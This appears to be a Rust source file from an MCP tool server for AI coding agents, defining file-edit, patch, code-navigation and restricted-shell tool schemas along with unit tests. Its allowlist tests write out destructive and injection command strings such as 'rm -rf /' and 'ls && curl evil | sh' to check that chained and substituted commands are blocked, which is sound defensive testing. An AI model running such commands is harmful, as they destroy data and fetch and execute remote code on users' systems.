947    if let Some(serde_json::Value::String(command)) = map.get_mut("command") {
948        *command = sanitize_shell_string(command);
949    }
950
951    if map.contains_key("type") {
952        return value;
953    }
954
955    let inferred_type = if map.contains_key("command") {
956        Some("command")
957    } else if map.contains_key("status_check") {
958        Some("status_check")
959    } else if map.contains_key("send_text") {
960        Some("send_text")
961    } else if map.contains_key("send_specials") {
962        Some("send_specials")
963    } else if map.contains_key("send_ascii") {
964        Some("send_ascii")
965    } else if map.contains_key("screen") {
966        Some("screen")
967    } else if map.contains_key("wait_for_turn") {
968        Some("wait_for_turn")
969    } else {
970        None
971    };
972
973    if let Some(action_type) = inferred_type {
974        map.insert("type".to_string(), serde_json::Value::String(action_type.to_string()));
975    }
976
977    value
978}
979
980fn sanitize_shell_string(value: &str) -> String {
981    value.replace('\0', "\\x00")
982}
983
984// Bash command mode
985#[derive(Debug, Clone, JsonSchema, PartialEq)]
986pub struct BashCommandMode {
987    pub bash_mode: BashMode,
988    pub allowed_commands: AllowedCommands,
989}
990
991#[derive(Debug, Clone, Copy, JsonSchema, PartialEq)]
992pub enum BashMode {
993    NormalMode,
994    RestrictedMode,
995}
996
997// File edit mode
998#[derive(Debug, Clone, JsonSchema, PartialEq)]
999pub struct FileEditMode {
1000    pub allowed_globs: AllowedGlobs,
1001}
1002
1003// Write if empty mode
1004#[derive(Debug, Clone, JsonSchema, PartialEq)]
1005pub struct WriteIfEmptyMode {
1006    pub allowed_globs: AllowedGlobs,
1007}
1008
1009/// Parameters for the `FileWriteOrEdit` tool
1010///
1011/// This struct represents the parameters needed to write or edit a file
1012/// with optional search/replace blocks for partial edits.
1013#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1014pub struct FileWriteOrEdit {
1015    /// Path to the file to write or edit
1016    ///
1017    /// This must be an absolute path (~ allowed).
1018    pub file_path: String,
1019
1020    /// Percentage of the file that will be changed
1021    ///
1022    /// If > 50%, the content is treated as the entire file content.
1023    /// If <= 50%, the content is treated as search/replace blocks.
1024    pub percentage_to_change: u32,
1025
1026    /// Content for the file or search/replace blocks
1027    ///
1028    /// If `percentage_to_change` > 50%, this is the entire file content.
1029    /// If `percentage_to_change` <= 50%, this contains search/replace blocks
1030    /// in the format:
1031    /// ```text
1032    /// <<<<<<< SEARCH
1033    /// old content to find
1034    /// =======
1035    /// new content to replace with
1036    /// >>>>>>> REPLACE
1037    /// ```
1038    pub text_or_search_replace_blocks: String,
1039
1040    /// The thread ID for this session
1041    pub thread_id: String,
1042}
1043
1044/// One compare-and-swap line patch. Coordinates refer to the original revision,
1045/// are one-based, and all patches are applied together.
1046#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema, PartialEq)]
1047pub struct LinePatch {
1048    /// Original line before which replacement starts (`totalLines + 1` appends).
1049    pub start_line: usize,
1050    /// Number of original lines to remove; zero performs an insertion.
1051    pub delete_lines: usize,
1052    /// Exact replacement bytes. Include newlines intentionally.
1053    pub replacement: String,
1054}
1055
1056/// Apply one or more non-overlapping line patches to an exact `ReadFiles`
1057/// revision. This is preferable to SEARCH/REPLACE when line coordinates are
1058/// already known.
1059#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1060pub struct ApplyPatch {
1061    /// Path returned by `ReadFiles.files[].path`.
1062    pub file_path: String,
1063    /// Opaque `ReadFiles.files[].revision` compare-and-swap token.
1064    pub expected_revision: String,
1065    /// Ordered, non-overlapping edits against that original revision.
1066    pub patches: Vec<LinePatch>,
1067    /// Thread ID for the same project session that produced the revision.
1068    pub thread_id: String,
1069}
1070
1071/// One file's worth of edits in a [`MultiFileEdit`] batch. Same semantics as the
1072/// corresponding [`FileWriteOrEdit`] fields.
1073#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1074pub struct FileEditEntry {
1075    /// Path to the file to write or edit (absolute, ~ allowed).
1076    pub file_path: String,
1077    /// If > 50%, the content is the entire file; if <= 50%, search/replace blocks.
1078    pub percentage_to_change: u32,
1079    /// Full file content or search/replace blocks (see `FileWriteOrEdit`).
1080    pub text_or_search_replace_blocks: String,
1081}
1082
1083/// Parameters for the `MultiFileEdit` tool: apply edits across several files
1084/// all-or-nothing at the COMPUTE stage.
1085///
1086/// Every file is validated and its new content computed in memory first; only
1087/// if ALL succeed are any writes performed. So a SEARCH that fails to match in
1088/// the last file leaves the first files untouched. The write stage is a sequence
1089/// of atomic single-file renames and stops at the first I/O failure (already
1090/// written files are not rolled back, which is reported clearly).
1091#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1092pub struct MultiFileEdit {
1093    /// Two or more files to edit together. For a single file use `FileWriteOrEdit`.
1094    pub files: Vec<FileEditEntry>,
1095
1096    /// The thread ID for this session
1097    pub thread_id: String,
1098}
1099
1100/// Parameters for rerunning a post-edit verification without repeating the edit.
1101#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1102pub struct VerifyEdit {
1103    /// Deterministic receipt returned by the edit that first ran this command.
1104    pub verification_id: String,
1105    /// Exact finite foreground verification command from the edit receipt.
1106    pub command: String,
1107    /// Optional bounded inline wait, from 0 through 60 seconds.
1108    #[serde(default)]
1109    pub wait_for_seconds: Option<f32>,
1110    /// The thread ID for the same project session as the original edit.
1111    pub thread_id: String,
1112}
1113
1114/// Parameters for the `UndoEdit` tool: revert a file to its content before the
1115/// last `FileWriteOrEdit`/`MultiFileEdit` in this session.
1116#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1117pub struct UndoEdit {
1118    /// Path of the file whose last edit should be reverted (absolute, ~ allowed).
1119    pub file_path: String,
1120
1121    /// The thread ID for this session
1122    pub thread_id: String,
1123}
1124
1125/// Parameters for the `ContextSave` tool
1126///
1127/// This struct represents the parameters needed to save context information
1128/// about a task, including file contents from specified globs.
1129#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1130pub struct ContextSave {
1131    /// Unique identifier for the task
1132    ///
1133    /// This should be a unique string that identifies the task. It can be
1134    /// a random 3-word identifier or a user-provided value.
1135    pub id: String,
1136
1137    /// Root path of the project
1138    ///
1139    /// This should be an absolute path to the project root. If empty, no
1140    /// project root will be used.
1141    pub project_root_path: String,
1142
1143    /// Description of the task
1144    ///
1145    /// This should contain a detailed description of the task, including
1146    /// relevant context, problems, and objectives.
1147    pub description: String,
1148
1149    /// List of file glob patterns
1150    ///
1151    /// These glob patterns identify the files that should be included in
1152    /// the saved context. Patterns can be absolute or relative to the project root.
1153    pub relevant_file_globs: Vec<String>,
1154
1155    /// Optional thread ID identifying the shell session to operate on. When
1156    /// omitted, the most recently active session is used.
1157    #[serde(default)]
1158    pub thread_id: String,
1159}
1160
1161/// Parameters for the `ReadImage` tool
1162///
1163/// This struct represents the parameters needed to read an image file.
1164#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1165pub struct ReadImage {
1166    /// Path to the image file to read
1167    ///
1168    /// This can be an absolute path or a path relative to the current working directory.
1169    pub file_path: String,
1170
1171    /// Optional thread ID identifying the shell session to operate on. When
1172    /// omitted, the most recently active session is used.
1173    #[serde(default)]
1174    pub thread_id: String,
1175
1176    /// Deliver the image again even when the unchanged bytes were already sent
1177    /// in this live session. Leave false for normal agent use so accidental
1178    /// repeated calls do not resend a multi-megabyte image.
1179    #[serde(default)]
1180    pub force: bool,
1181}
1182
1183/// Operation for the `CodeMap` tool.
1184#[derive(Debug, Clone, Copy, Serialize, Deserialize, JsonSchema, PartialEq, Eq)]
1185#[serde(rename_all = "snake_case")]
1186pub enum CodeMapOperation {
1187    /// A file's symbol definitions, or a ranked repo-wide symbol map for a directory.
1188    Outline,
1189    /// The definition + reference (call/use) sites of a symbol name across the repo.
1190    References,
1191}
1192
1193/// Parameters for the `CodeMap` tool: tree-sitter code navigation. One tool with
1194/// two operations, in place of separate `Outline` / `FindReferences` tools.
1195#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1196pub struct CodeMap {
1197    /// `outline` (symbols in a file, or a ranked repo symbol map for a directory)
1198    /// or `references` (the definition + use sites of a symbol name).
1199    pub operation: CodeMapOperation,
1200
1201    /// For `outline`: the file or directory to map (empty or a directory = a
1202    /// ranked repo symbol map). For `references`: the directory or file to search
1203    /// under (empty = the whole workspace). Relative paths resolve against the
1204    /// workspace.
1205    #[serde(default)]
1206    pub path: String,
1207
1208    /// For `references` ONLY: the exact symbol name to find (e.g. `parse_config`).
1209    /// Required for `references`, ignored by `outline`.
1210    #[serde(default)]
1211    pub name: String,
1212
1213    /// Maximum results: symbols (single file) or files (repo map) for `outline`,
1214    /// occurrences for `references`. 0 means the default.
1215    #[serde(default)]
1216    pub max_results: usize,
1217
1218    /// Optional task focus used to rank directory maps. Short symbol names,
1219    /// paths, or a concise topic work best. Ignored by single-file outlines and
1220    /// reference searches.
1221    #[serde(default)]
1222    pub query: String,
1223
1224    /// Opaque continuation returned by a truncated directory outline. Reuse it
1225    /// with the same path, query, and workspace snapshot; omit it to restart.
1226    #[serde(default)]
1227    pub cursor: String,
1228
1229    /// Optional thread ID identifying the shell session to operate on. When
1230    /// omitted, the most recently active session is used.
1231    #[serde(default)]
1232    pub thread_id: String,
1233}
1234
1235/// Parameters for the `Outline` operation (tree-sitter symbol map), used
1236/// internally by `CodeMap`.
1237#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1238pub struct Outline {
1239    /// File or directory to outline. A file returns that file's symbols; a
1240    /// directory (or empty = the whole workspace) returns a ranked repo symbol
1241    /// map. Relative paths resolve against the workspace.
1242    #[serde(default)]
1243    pub path: String,
1244
1245    /// Maximum symbols to return for a single file, or maximum files for a repo
1246    /// map. 0 means the default.
1247    #[serde(default)]
1248    pub max_results: usize,
1249
1250    /// Optional task focus used to rank directory maps.
1251    #[serde(default)]
1252    pub query: String,
1253
1254    /// Opaque continuation for a directory map.
1255    #[serde(default)]
1256    pub cursor: String,
1257
1258    /// Optional thread ID identifying the shell session to operate on. When
1259    /// omitted, the most recently active session is used.
1260    #[serde(default)]
1261    pub thread_id: String,
1262}
1263
1264/// One symbol (definition) in `Outline` output.
1265#[derive(Debug, Clone, Serialize, JsonSchema)]
1266pub struct OutlineSymbol {
1267    /// Symbol name.
1268    pub name: String,
1269    /// Symbol kind from the grammar (e.g. `function`, `struct`, `method`, `class`).
1270    pub kind: String,
1271    /// 1-based line where the definition starts.
1272    pub line: usize,
1273}
1274
1275/// Symbols for one file in `Outline` output.
1276#[derive(Debug, Clone, Serialize, JsonSchema)]
1277pub struct OutlineFile {
1278    /// Workspace-relative path of the file.
1279    pub file: String,
1280    /// Definitions found in the file, in source order.
1281    pub symbols: Vec<OutlineSymbol>,
1282}
1283
1284/// Actionable fallback when a single-file `CodeMap` outline cannot provide
1285/// symbols. Exact source remains canonical; helpers are optional and derived.
1286#[derive(Debug, Clone, Serialize, JsonSchema)]
1287pub struct CodeMapFallback {
1288    /// Tool that can retrieve the canonical source.
1289    pub tool: String,
1290    /// Absolute path ready for `ReadFiles.file_paths`.
1291    pub file_paths: Vec<String>,
1292    /// Stable machine-readable reason for the fallback.
1293    pub reason: String,
1294    /// Session-local location for a genuinely useful derived helper.
1295    pub temporary_artifact_dir: String,
1296}
1297
1298/// Structured result of an `Outline` call (mirrors the text block).
1299#[derive(Debug, Clone, Serialize, JsonSchema)]
1300pub struct OutlineOutput {
1301    /// `file` for a single-file outline, `repo` for a workspace symbol map.
1302    pub mode: String,
1303    /// Number of files included in `files`.
1304    pub files_shown: usize,
1305    /// Per-file symbol lists.
1306    pub files: Vec<OutlineFile>,
1307    /// True if the symbol map was capped (more files or symbols exist).
1308    pub truncated: bool,
1309    /// Opaque continuation for the next ranked directory-map page.
1310    #[serde(skip_serializing_if = "Option::is_none")]
1311    pub next_cursor: Option<String>,
1312    /// Stable fingerprint of the ranked directory snapshot behind the cursor.
1313    #[serde(skip_serializing_if = "Option::is_none")]
1314    pub snapshot_hash: Option<String>,
1315    /// Number of candidate files inspected while producing this page.
1316    pub files_scanned: usize,
1317    /// Combined bytes of the human-readable map and its structured navigation
1318    /// payload, before the small shared MCP result envelope is added.
1319    pub payload_bytes: usize,
1320    /// Lowercase source extension in single-file mode.
1321    #[serde(skip_serializing_if = "Option::is_none")]
1322    pub file_extension: Option<String>,
1323    /// Whether Winx has a native tags query for the single-file language.
1324    #[serde(skip_serializing_if = "Option::is_none")]
1325    pub language_supported: Option<bool>,
1326    /// Exact-source recovery for an unsupported or unavailable parser.
1327    #[serde(skip_serializing_if = "Option::is_none")]
1328    pub fallback: Option<CodeMapFallback>,
1329}
1330
1331/// Parameters for the `FindReferences` tool (tree-sitter symbol occurrences).
1332#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1333pub struct FindReferences {
1334    /// Symbol name to find — an exact identifier match (e.g. `parse_config`).
1335    pub name: String,
1336
1337    /// Directory or file to search under. Relative paths resolve against the
1338    /// workspace; leave empty to search the whole workspace.
1339    #[serde(default)]
1340    pub path: String,
1341
1342    /// Maximum occurrences to return. 0 means the default.
1343    #[serde(default)]
1344    pub max_results: usize,
1345
1346    /// Optional thread ID identifying the shell session to operate on. When
1347    /// omitted, the most recently active session is used.
1348    #[serde(default)]
1349    pub thread_id: String,
1350}
1351
1352/// One symbol occurrence in `FindReferences` output.
1353#[derive(Debug, Clone, Serialize, JsonSchema)]
1354pub struct ReferenceHit {
1355    /// Workspace-relative path.
1356    pub file: String,
1357    /// 1-based line.
1358    pub line: usize,
1359    /// Symbol kind from the grammar (e.g. `function`, `call`, `method`).
1360    pub kind: String,
1361    /// True for a definition, false for a reference (call / use site).
1362    pub is_definition: bool,
1363}
1364
1365/// Structured result of a `FindReferences` call (mirrors the text block).
1366#[derive(Debug, Clone, Serialize, JsonSchema)]
1367pub struct ReferencesOutput {
1368    /// The symbol name that was searched for.
1369    pub name: String,
1370    /// Number of returned hits that are definitions.
1371    pub definitions: usize,
1372    /// Number of returned hits that are references (call / use sites).
1373    pub references: usize,
1374    /// True if the result was capped (more occurrences exist).
1375    pub truncated: bool,
1376    /// Combined bytes of the human-readable result and structured navigation
1377    /// payload before the shared MCP envelope is added.
1378    pub payload_bytes: usize,
1379    /// Occurrences, definitions first then references, each group by file/line.
1380    pub hits: Vec<ReferenceHit>,
1381}
1382
1383/// Aggregate guard state for a `CodeMap` call over non-canonical session helpers.
1384#[derive(Debug, Clone, Copy, Serialize, JsonSchema)]
1385pub struct CodeMapTemporaryHelperBudget {
1386    pub calls_used: usize,
1387    pub calls_limit: usize,
1388    pub unique_files_used: usize,
1389    pub unique_files_limit: usize,
1390}
1391
1392/// JSON Schema advertised for `CodeMap.structuredContent`.
1393///
1394/// `CodeMap` has two operations with different payloads. Their shared
1395/// `truncated` field is required; operation-specific fields are optional so the
1396/// single object schema accepts both the outline and references result shapes.
1397#[derive(Debug, Clone, JsonSchema)]
1398pub struct CodeMapStructuredOutput {
1399    pub truncated: bool,
1400    pub next_cursor: Option<String>,
1401    pub snapshot_hash: Option<String>,
1402    pub files_scanned: Option<usize>,
1403    pub payload_bytes: Option<usize>,
1404    pub source_kind: Option<String>,
1405    pub canonical: Option<bool>,
1406    pub temporary_helper_budget: Option<CodeMapTemporaryHelperBudget>,
1407    pub mode: Option<String>,
1408    pub files_shown: Option<usize>,
1409    pub files: Option<Vec<OutlineFile>>,
1410    pub file_extension: Option<String>,
1411    pub language_supported: Option<bool>,
1412    pub fallback: Option<CodeMapFallback>,
1413    pub name: Option<String>,
1414    pub definitions: Option<usize>,
1415    pub references: Option<usize>,
1416    pub hits: Option<Vec<ReferenceHit>>,
1417}
1418
1419#[cfg(test)]
1420mod thread_id_tests {
1421    use super::{normalize_thread_id, MAX_NORMALIZED_THREAD_ID_BYTES};
1422
1423    #[test]
1424    fn clean_id_is_unchanged() {
1425        assert_eq!(normalize_thread_id("tid_deadbeef"), "tid_deadbeef");
1426        assert_eq!(normalize_thread_id("worker_1"), "worker_1");
1427    }
1428
1429    #[test]
1430    fn empty_and_all_special_normalize_to_empty() {
1431        assert_eq!(normalize_thread_id(""), "");
1432        assert_eq!(normalize_thread_id("---"), "");
1433    }
1434
1435    #[test]
1436    fn separator_variants_do_not_collide() {
1437        // "user-1" and "user1" must NOT resolve to the same session/state file.
1438        let a = normalize_thread_id("user-1");
1439        let b = normalize_thread_id("user1");
1440        assert_ne!(a, b);
1441        assert!(a.starts_with("user1_"), "got {a}");
1442        assert_eq!(b, "user1");
1443        // "user-1" vs "user_1" must also stay distinct.
1444        assert_ne!(normalize_thread_id("user-1"), normalize_thread_id("user_1"));
1445    }
1446
1447    #[test]
1448    fn normalization_is_deterministic() {
1449        // Same input -> same hash -> same session across restarts.
1450        assert_eq!(normalize_thread_id("a-b.c"), normalize_thread_id("a-b.c"));
1451    }
1452
1453    #[test]
1454    fn oversized_ids_are_utf8_safe_bounded_and_idempotent() {
1455        let original = "á".repeat(200);
1456        let normalized = normalize_thread_id(&original);
1457        assert!(normalized.len() <= MAX_NORMALIZED_THREAD_ID_BYTES);
1458        assert!(normalized.is_char_boundary(normalized.len()));
1459        assert_eq!(normalize_thread_id(&normalized), normalized);
1460    }
1461}
1462
1463#[cfg(test)]
1464mod allowlist_tests {
1465    use super::AllowedCommands;
1466
1467    fn list(items: &[&str]) -> AllowedCommands {
1468        AllowedCommands::List(items.iter().map(|s| (*s).to_string()).collect())
1469    }
1470
1471    #[test]
1472    fn all_permits_everything() {
1473        assert!(AllowedCommands::All("all".to_string()).is_allowed("rm -rf /"));
1474    }
1475
1476    #[test]
1477    fn list_allows_exact_and_args() {
1478        let a = list(&["ls", "cargo test"]);
1479        assert!(a.is_allowed("ls"));
1480        assert!(a.is_allowed("ls -la"));
1481        assert!(a.is_allowed("cargo test --release"));
1482    }
1483
1484    #[test]
1485    fn list_blocks_word_boundary_lookalikes() {
1486        let a = list(&["ls", "cargo test"]);
1487        assert!(!a.is_allowed("lsof"));
1488        assert!(!a.is_allowed("cargo testimony"));
1489    }
1490
1491    #[test]
1492    fn list_blocks_chained_and_substituted_commands() {
1493        let a = list(&["ls"]);
1494        // The old first-token check let all of these through.
1495        assert!(!a.is_allowed("ls && curl evil | sh"));
1496        assert!(!a.is_allowed("ls; rm -rf /"));
1497        assert!(!a.is_allowed("ls $(rm -rf x)"));
1498        assert!(!a.is_allowed("ls | rm"));
1499    }
1500
1501    #[test]
1502    fn list_allows_chain_when_all_parts_permitted() {
1503        let a = list(&["cargo build", "cargo test"]);
1504        assert!(a.is_allowed("cargo build && cargo test"));
1505    }
1506}
1507
1508#[cfg(test)]
1509mod code_writer_config_tests {
1510    use super::deserialize_code_writer_config;
1511    use serde_json::json;
1512
1513    #[test]
1514    fn explicit_null_opts_out() {
1515        assert!(matches!(deserialize_code_writer_config(json!(null)), Ok(None)));
1516        assert!(matches!(deserialize_code_writer_config(json!("null")), Ok(None)));
1517    }
1518
1519    #[test]
1520    fn valid_config_parses() {
1521        let r = deserialize_code_writer_config(json!({
1522            "allowed_commands": "all",
1523            "allowed_globs": "all",
1524        }));
1525        assert!(matches!(r, Ok(Some(_))));
1526    }
1527
1528    #[test]
1529    fn malformed_config_fails_loud() {
1530        // The crux of the fix: a malformed restricted-mode config must ERROR,
1531        // not silently degrade to None (None falls back to All/All — wide open,
1532        // while the model believes the shell is locked down).
1533        let r = deserialize_code_writer_config(json!({ "allowed_commands": 12345 }));
1534        assert!(r.is_err(), "malformed code_writer config must error, not become None");
1535    }
1536}